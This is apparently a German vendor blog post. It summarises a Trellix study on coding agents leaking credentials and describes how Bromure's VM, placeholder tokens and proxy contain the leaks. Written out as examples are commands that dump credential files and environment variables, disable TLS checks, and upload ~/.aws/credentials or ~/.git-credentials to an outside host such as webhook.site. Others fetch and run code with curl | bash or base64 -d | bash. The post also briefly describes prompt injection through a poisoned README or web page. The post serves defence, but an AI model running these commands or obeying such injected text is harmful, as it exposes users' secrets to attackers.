← Zurück zu allen Beiträgen
Veröffentlicht am · von Renaud Deraison

Das Transkript behielt das Token

Am 14. Oktober veröffentlichte Trellix eine Studie über das, was das Unternehmen die unsichtbare Credential-Angriffsfläche nennt: Coding-Agenten holen Geheimnisse aus dem Schlüsselbund, legen sie auf die Kommandozeile, in die Shell-History und in ihre eigenen Transkripte und schicken sie an den Modellanbieter, alles als Nebeneffekt gewöhnlicher Arbeit. Trellix listet zehn Verhaltensklassen auf, jede mit einem vertrauenswürdigen Binary ausgeführt, und sagt, dass Telemetrie auf Einzelereignis-Ebene sie nicht von einem Entwickler oder einem Angreifer unterscheiden kann. In Bromure Agentic Coding ist jede Kopie, die der Agent anlegt, ein Platzhalter, und der echte Wert existiert nur auf dem Mac, auf der Leitung, für den Host, zu dem er gehört.

Das Token lag im Schlüsselbund. Einen curl-Befehl später stand es in der Prozesstabelle, im Transkript des Agenten und in den Logs eines Modellanbieters.

Sie bitten Ihren Agenten, „mein Profil aus der Graph API zu holen“. Er wird fertig, ohne Sie nach einem Passwort zu fragen. Er ruft ein Hilfsprogramm auf, das Ihr gespeichertes OAuth-Token aus dem Schlüsselspeicher entschlüsselt, und führt dann aus:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me

Die Anfrage funktioniert. Unterwegs ist das Token in Ihrer Endpoint-Telemetrie gelandet, in der Prozesstabelle, wo andere lokale Programme es lesen können, im Transkript des Agenten auf der Festplatte und im Kontextfenster, das der Agent mit dem nächsten Zug an seinen Modellanbieter schickt.

Mit diesem Beispiel beginnt The Unseen Credential Surface, veröffentlicht von Haowei Ren bei Trellix am Dienstag, dem 14. Oktober. Cyber Security News berichtete am nächsten Tag. Die Studie beschreibt weder einen Exploit noch Malware. Sie verfolgt, was Agenten an einem gewöhnlichen Arbeitstag mit Geheimnissen tun. Trellix geht von der Annahme aus, dass ein Agent Ihre Zugangsdaten „so sorgfältig behandelt, wie es ein guter Ingenieur täte“, und antwortet: „Das tut er nicht. Nicht aus böser Absicht. Es liegt an der Architektur.“

Fünf Stufen abwärts

Trellix ordnet jeden Ort, an dem ein Geheimnis liegen kann, auf einer Leiter an, vom sichersten zum am stärksten exponierten:

  1. Weggeschlossen, im Schlüsselbund, in DPAPI oder in der Anmeldeinformationsverwaltung.
  2. Im Arbeitsspeicher, innerhalb eines einzigen Prozesses.
  3. Auf der Kommandozeile, lesbar für Monitoring und andere lokale Prozesse und oft in der Shell-History gespeichert.
  4. Auf die Festplatte geschrieben: Shell-History, Konfigurationsdateien, „und das eigene Transkript des Agenten“.
  5. Außerhalb der Maschine: committet, gepusht, hochgeladen, „oder an den Modellanbieter geschickt“.

Agenten bewegen Geheimnisse diese Leiter hinunter, weil das der kürzeste Weg zu einer erledigten Aufgabe ist. Eine Stufe ist bei Agenten neu. Wenn Sie cat .env ausführen, erscheint das Geheimnis auf Ihrem Bildschirm. Wenn der Agent es ausführt, „gelangt der Inhalt in sein Kontextfenster und wird an einen externen Modellanbieter geschickt, wo er dauerhaft protokolliert werden kann“. Trellix fasst zusammen: „Menschliche Fehler bleiben innerhalb Ihrer Mauern; Agentenoperationen nicht.“

Zehn gewöhnliche Befehle

Die Studie teilt das Verhalten in zehn Klassen ein. Jedes Beispiel ist ein Befehl, den Sie selbst schon getippt haben:

  • Zugangsdaten als Argumente: curl -u, kubectl --token=…, mysql -p….
  • Credential-Dateien gelesen: cat .env, ~/.aws/credentials, ~/.kube/config, ~/.git-credentials, ~/.docker/config.json.
  • Schlüsselbunde im Klartext abgefragt: security find-generic-password -w, gh auth token, git credential fill.
  • Umgebung ausgegeben: env, printenv | grep -iE 'key|token'.
  • TLS-Prüfungen abgeschaltet: curl -k, NODE_TLS_REJECT_UNAUTHORIZED=0, git -c http.sslVerify=false.
  • Geheimnisse verschickt: git add .env && git push, curl --data @~/.aws/credentials, gh gist create.
  • Verborgene Ausführung: base64 -d | bash, curl | bash, eval "$(curl …)".
  • Persistenz: Zeilen, die an ~/.bashrc oder die Crontab angehängt werden.
  • Neue Zugangsdaten erzeugt: ssh-keygen -N "", dann der Schlüssel in authorized_keys eingetragen.
  • Cloud-Tresore ausgelesen: aws secretsmanager get-secret-value, vault kv get, kubectl get secret.

Jede Klasse führt ein vertrauenswürdiges, signiertes Binary aus, das dieselbe Maschine tausendmal am Tag aus guten Gründen startet. Eine Regel, die anschlägt, wenn „ein Prozess eine .env-Datei gelesen hat“, schlägt beim Editor, beim Linter und beim Test-Runner an. Das Fazit von Trellix: „Kein Schritt des Angriffs fehlt in der normalen Aktivität. Eine Suche, die darauf abgestimmt ist, ihn zu fangen, schlägt tendenziell bei allen oder bei niemandem an.“

Trellix benennt Prompt Injection als den Schritt von der Exposition zum Einbruch. Der Agent liest bereits Geheimnisse und schickt bereits Daten nach draußen. Ein vergiftetes README, Issue oder eine Webseite muss diese Gewohnheiten nur auf einen Host richten, den der Angreifer betreibt.

Das Geheimnis auf der obersten Stufe halten

Die Gegenmaßnahmen von Trellix lassen sich auf einen Satz reduzieren: „Halten Sie Geheimnisse auf den oberen Stufen, oder machen Sie ein offengelegtes Geheimnis schnell wertlos.“ Bromure Agentic Coding tut beides.

Der Agent läuft in einer Linux-VM auf Ihrem Mac. Die echten Geheimnisse bleiben im verschlüsselten Tresor des Macs, unter einem Hauptschlüssel im Data Protection Keychain, und gelangen nie in die VM. Die VM erhält Platzhalter, die wie die echten aussehen: ghp_ plus 36 Zeichen für ein GitHub-Token, sk-ant-api03-brm-… für einen Anthropic-Schlüssel, brm-k8s-… für ein Cluster-Token, brm_… für alles, was Sie aus einer .env-Datei importieren. Jede HTTPS-Anfrage der VM geht an einen Proxy auf dem Mac, der den Platzhalter nur dann gegen den echten Wert tauscht, wenn die Anfrage an den Host geht, zu dem diese Zugangsdaten gehören.

Der Agent kann ein Token also alle fünf Stufen hinunterbewegen. Was auf der Kommandozeile, in der Shell-History, im Transkript und beim Modellanbieter ankommt, ist der Platzhalter. Der echte Wert existiert nur an einem weiteren Ort: in der Anfrage, die der Mac zum eigenen Host der Zugangsdaten neu verschlüsselt.

Ein Token, fünf Stufen abwärtsAgent auf einem Laptop1 · SchlüsselspeichereyJ0eXAi… (echt)2–3 · Prozessspeicher, dann argvcurl -H "Bearer eyJ0eXAi…" (echt)4 · Shell-History, Agenten-TranskripteyJ0eXAi… (echt)5 · Kontextfenster, Logs des ModellanbieterseyJ0eXAi… (echt)Dasselbe gültige Token auf jeder Stufe.Wer auch nur eine davon liest, kann es nutzen.Agent in einer Bromure-Maschine1 · Tresor auf dem Mac, außerhalb der VMechter Wert: aus der VM nicht lesbar2–3 · Prozessspeicher, dann argv, in der VMcurl -H "Bearer brm_…" (Platzhalter)4 · Shell-History, Agenten-Transkriptbrm_… (Platzhalter)5 · Kontextfenster, Logs des Modellanbietersbrm_… (Platzhalter)Jede Kopie des Agenten ist ein Platzhalter.Kein Server akzeptiert ihn, außer über den Mac, für seinen Host.Auf der Leitung, am Mac-Proxy:brm_… → echt, an seinen Hostbrm_… an anderen Host → 451, VM pausiert
Die Leiter von Trellix, auf einem Laptop und in einer Bromure-Maschine. Auf dem Laptop liegt dasselbe echte Token auf jeder Stufe. In der Maschine enthält jede Stufe innerhalb der VM einen Platzhalter, und der echte Wert erscheint nur auf dem Mac, in der Anfrage an den Host, für den er ausgestellt wurde.

Die zehn Klassen in einer Bromure-Maschine

Lassen Sie denselben Agenten mit denselben Gewohnheiten in einer Bromure-Maschine laufen. Alle zehn Klassen laufen weiterhin, und jede kommt mit weniger zurück, als sie holen wollte.

Argumente, Dateien, Schlüsselbunde und Umgebung

Die ersten vier Klassen lesen ein Geheimnis aus einem Schlüsselspeicher, einer Datei oder der Umgebung und setzen es auf eine Kommandozeile. In der VM finden alle vier dieselben Platzhalter.

env und printenv geben Platzhalter aus. ~/.git-credentials, ~/.docker/config.json und die synthetische ~/.kube/config enthalten Platzhalter. Eine Projekt-.env, die Sie mit Import env file… im Bereich Credentials der Maschine importiert haben, enthält Platzhalter unter denselben Variablennamen, und Ihr Code liest sie wie bisher. gh auth token liefert einen ghp_-Platzhalter. ~/.aws/config verweist auf ein Hilfsprogramm, das die Access Key ID zusammen mit einem 40 Zeichen langen gefälschten Secret Key herausgibt. Die AWS CLI signiert mit dem gefälschten, und der Mac entfernt diese Signatur auf dem Weg nach draußen und signiert neu mit dem echten Schlüssel.

Die oberste Stufe der Trellix-Leiter, der Schlüsselspeicher des Betriebssystems, liegt auf dem Mac, außerhalb der VM. Drinnen hat security find-generic-password keinen Schlüsselbund, den es fragen könnte. Die vsock-Kanäle, die Tokens zwischen Host und VM transportieren, funktionieren nur in eine Richtung: Der Host schreibt Platzhalter hinein, und es gibt keine Anfrage, mit der die VM ein echtes Token zurückverlangen könnte.

SSH funktioniert genauso, ganz ohne Token. SSH_AUTH_SOCK in der VM ist eine Brücke zu einem Agenten auf dem Mac. git push über SSH bekommt seine Signatur, und ls ~/.ssh/id_* findet keinen privaten Schlüssel.

Der Agent kann jeden dieser Werte in curl -H einfügen, ihn loggen, per echo in ein Skript schreiben oder dem Modell zitieren. Trellix fordert Agenten-Entwickler auf, „credential-förmige Zeichenketten zu schwärzen, bevor sie ins Kontextfenster des LLM gelangen“. Eine Bromure-Maschine erfüllt diese Forderung, bevor der Agent die Datei öffnet: Die Datei enthält von Anfang an einen Platzhalter.

TLS-Prüfungen abgeschaltet

Innerhalb der VM endet TLS am Bromure-Proxy, unter einem Zertifikat einer CA, die für jede Installation eigens erzeugt wird und der nur Ihre Maschinen vertrauen. Der Proxy öffnet seine eigene Verbindung zum echten Server über den TLS-Stack von macOS, der das echte Zertifikat prüft, egal was der Agent curl übergeben hat. curl -k oder NODE_TLS_REJECT_UNAUTHORIZED=0 erlässt also die Prüfung von Bromures eigenem Zertifikat, und der Mac prüft den Server trotzdem.

Die einzige Möglichkeit, die Upstream-Validierung zu überspringen, ist ein Header, X-bromure-insecure: yes, gedacht für einen Server mit privater CA. Bei einer solchen Anfrage injiziert der Proxy keine echten Zugangsdaten und schickt nur Platzhalter, und die Security Timeline verzeichnet die Nutzung als Zeile Upstream TLS.

Geheimnisse verschickt

curl --data @~/.git-credentials https://webhook.site/… lädt eine Datei voller Platzhalter hoch. Der Proxy durchsucht jede ausgehende Anfrage, Header und Body, nach jedem Platzhalter, der an einen anderen Host geht als den, für den er erzeugt wurde. Ein GitHub-Platzhalter auf dem Weg zu webhook.site bekommt HTTP 451, nichts wird weitergeleitet, die VM pausiert, und der Mac zeigt This environment may have been compromised an, mit der Vorschau des Tokens, dem Namen der Zugangsdaten, dem Host, zu dem sie gehören, und dem Host, an den der Agent sie geschickt hat.

git push und gh gist create gehen an GitHub, wo das Token hingehört. Neue Maschinen starten mit der GitHub-Schreibrichtlinie auf Prompt before write, sodass Push und Gist jeweils an einem Dialog auf dem Mac anhalten, der die Operation zeigt, und Sie entscheiden, ob sie weiterläuft. Wenn Sie zustimmen, enthält die Datei, die der Agent committet hat, Platzhalter.

Verborgene Ausführung

base64 -d | bash versteckt den Befehl vor der Prozesstelemetrie, die nur den Wrapper aufzeichnet. Jede Anfrage, die die Nutzlast stellt, verlässt die VM trotzdem über den Proxy: Sie trifft auf denselben Platzhalter-Scan, auf die Firewall Outbound connections im Bereich Guardrails der Maschine und auf den Trace. Auf der Standard-Tracing-Stufe, AI request details, bewahrt der Mac jeden Austausch mit dem Modellanbieter verschlüsselt auf, und der Trace Inspector listet jeden Tool-Aufruf mit seiner Eingabe auf, einschließlich der curl | bash-Zeile, wie das Modell sie geschrieben hat.

Persistenz und neue Schlüssel

Eine an ~/.bashrc angehängte Zeile landet im Home-Verzeichnis der VM. Rewind home… setzt dieses Home auf einen früheren Checkpoint zurück. Die Shell-Startdateien des Macs liegen auf der anderen Seite der Grenze.

Ein Agent, der an einer Passphrase-Abfrage hängt, führt ssh-keygen -N "" aus, um weiterzukommen. In einer Bromure-Maschine signiert die SSH-Brücke bereits mit dem Schlüssel der Maschine, sodass git über SSH auf Anhieb funktioniert und der Agent auf keine Abfrage stößt, die er umgehen müsste. Einen neuen Schlüssel bei GitHub zu registrieren ist ein Schreibzugriff auf die GitHub-API und wartet am selben Prompt before write-Dialog wie ein Push.

Cloud-Tresore ausgelesen

aws secretsmanager get-secret-value braucht eine SigV4-Signatur, und nur der Mac kann eine erzeugen. Schalten Sie für die AWS-Zugangsdaten in Guardrails Require approval to use ein, und die erste Signierung einer Sitzung wartet auf Allow for 5 minutes, Allow for 1 hour, Allow for the rest of the session oder Don't allow. Denselben Schalter gibt es für jeden Kubernetes-Kontext, sodass kubectl get secret wartet, bis Sie Ja sagen. Jede AWS-Signierung erscheint in der Security Timeline als Zeile Credential used mit maskiertem Access Key.

Für eine Datenbank, die der Agent über HTTP abfragt, etwa die Mongo Data API, ClickHouse oder Elasticsearch, können Sie auf die Tresor-Abfrage verzichten: Fügen Sie den Endpunkt unter Credentials → Databases hinzu, die VM erhält einen brm-db-…-Platzhalter, und der Proxy tauscht ihn im Body der Anfrage ebenso wie in den Headern.

Die Sequenz, an den Agenten gebunden

Trellix argumentiert, dass die sinnvolle Einheit der Erkennung eine Sequenz ist, Zugriff auf Zugangsdaten, dann Nutzung, dann Abfluss, „zurückgeführt auf den Agentenprozess, der die Kette gestartet hat“. Die Empfehlungen an Betreiber enden mit kurzlebigen Tokens, abgeriegeltem ausgehendem Verkehr und der Forderung, jede Maschine, auf der ein Agent läuft, als „hochwertige, geheimnisverarbeitende Infrastruktur“ zu behandeln.

In Bromure ist diese Einheit die Maschine: eine VM mit ihren eigenen Agentensitzungen. Die Security Timeline führt jeden Credential-Tausch, jede Exfiltrationssperre, jedes Firewall-Urteil, jede Entscheidung der Schreibrichtlinie und jede AWS-Signierung in einer Tabelle mit einer Spalte Workspace zusammen, sodass sich die Kette einer Maschine von oben nach unten lesen lässt. Der Trace dieser Maschine enthält die Tool-Aufrufe, die jede Anfrage erzeugt haben. bromure-cli trace leaks listet die Anfragen auf, die ein Token zum falschen Host getragen haben.

Der Mac hält auch die Lebensdauer von Tokens kurz. Abo-Anmeldungen für Claude, Codex, Grok und Kimi werden auf dem Host etwa fünf Minuten vor Ablauf erneuert, und die VM hält nie ein Refresh-Token. Ein als 1Password-Referenz gespeicherter Wert wird alle zwei Minuten neu aufgelöst, sodass eine Rotation in 1Password den Proxy ohne Neustart erreicht. Stellen Sie Unmatched traffic in der Firewall auf Deny, und die Maschine erreicht nur die Hosts, die Sie auflisten.

Jede Kopie ist ein Platzhalter

Umgebung, Konfigurationsdateien, importierte .env-Werte, Ausgaben von gh und AWS CLI: alles Platzhalter. Was der Agent auf eine Kommandozeile, in ein Transkript oder in sein Kontextfenster schreibt, ist abseits der Leitung wertlos.

Der echte Wert lebt auf dem Mac

Geheimnisse bleiben in einem verschlüsselten Tresor, dessen Schlüssel im Data Protection Keychain liegt. Der Proxy setzt sie nur für den Host ein, für den jedes einzelne erzeugt wurde. SSH-Schlüssel signieren über eine Brücke und gelangen nie in die VM.

Ein Platzhalter am falschen Ort stoppt die Maschine

Ein Platzhalter auf dem Weg zu einem anderen Host bekommt eine 451, die VM pausiert, und der Mac nennt das Token, seinen Host und sein Ziel.

Eine Timeline pro Maschine

Tausch, Sperren, Firewall-Urteile, Schreibfreigaben und AWS-Signierungen stehen in der Security Timeline, und der Trace enthält die Tool-Aufrufe dahinter.

Ein Arbeitstag

Trellix nennt Agenten „eines der größten Systeme zur Verarbeitung von Zugangsdaten im modernen Unternehmen“, entstanden aus Versehen. Sie haben nie entschieden, das Graph-Token in ein Transkript zu legen. Der Agent brauchte es in einem Header, und er schrieb den Header auf eine Kommandozeile.

Ihr Agent wird weiter env ausführen, um eine Verbindung zu debuggen, und cat .env, um ein Projekt zu verstehen, welches Modell und welchen Prompt Sie ihm auch geben. Lassen Sie ihn dort laufen, wo diese Befehle Platzhalter zurückgeben. Zum Alarm, den ein Platzhalter auslöst, wenn er zum falschen Host aufbricht, lesen Sie Der Agent leakte seinen eigenen Schlüssel und Der Schlüssel war Ihre .env-Datei.